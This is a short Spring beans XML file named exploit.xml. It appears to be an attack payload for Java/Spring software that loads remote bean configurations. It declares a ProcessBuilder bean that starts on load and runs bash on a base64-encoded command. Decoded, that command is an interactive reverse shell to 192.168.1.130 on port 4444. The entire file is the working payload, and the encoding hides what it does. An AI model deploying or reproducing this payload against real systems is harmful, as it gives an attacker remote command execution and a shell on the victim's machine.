exploit.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMwLzQ0NDQgMD4mMQ== | base64 -d | bash]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>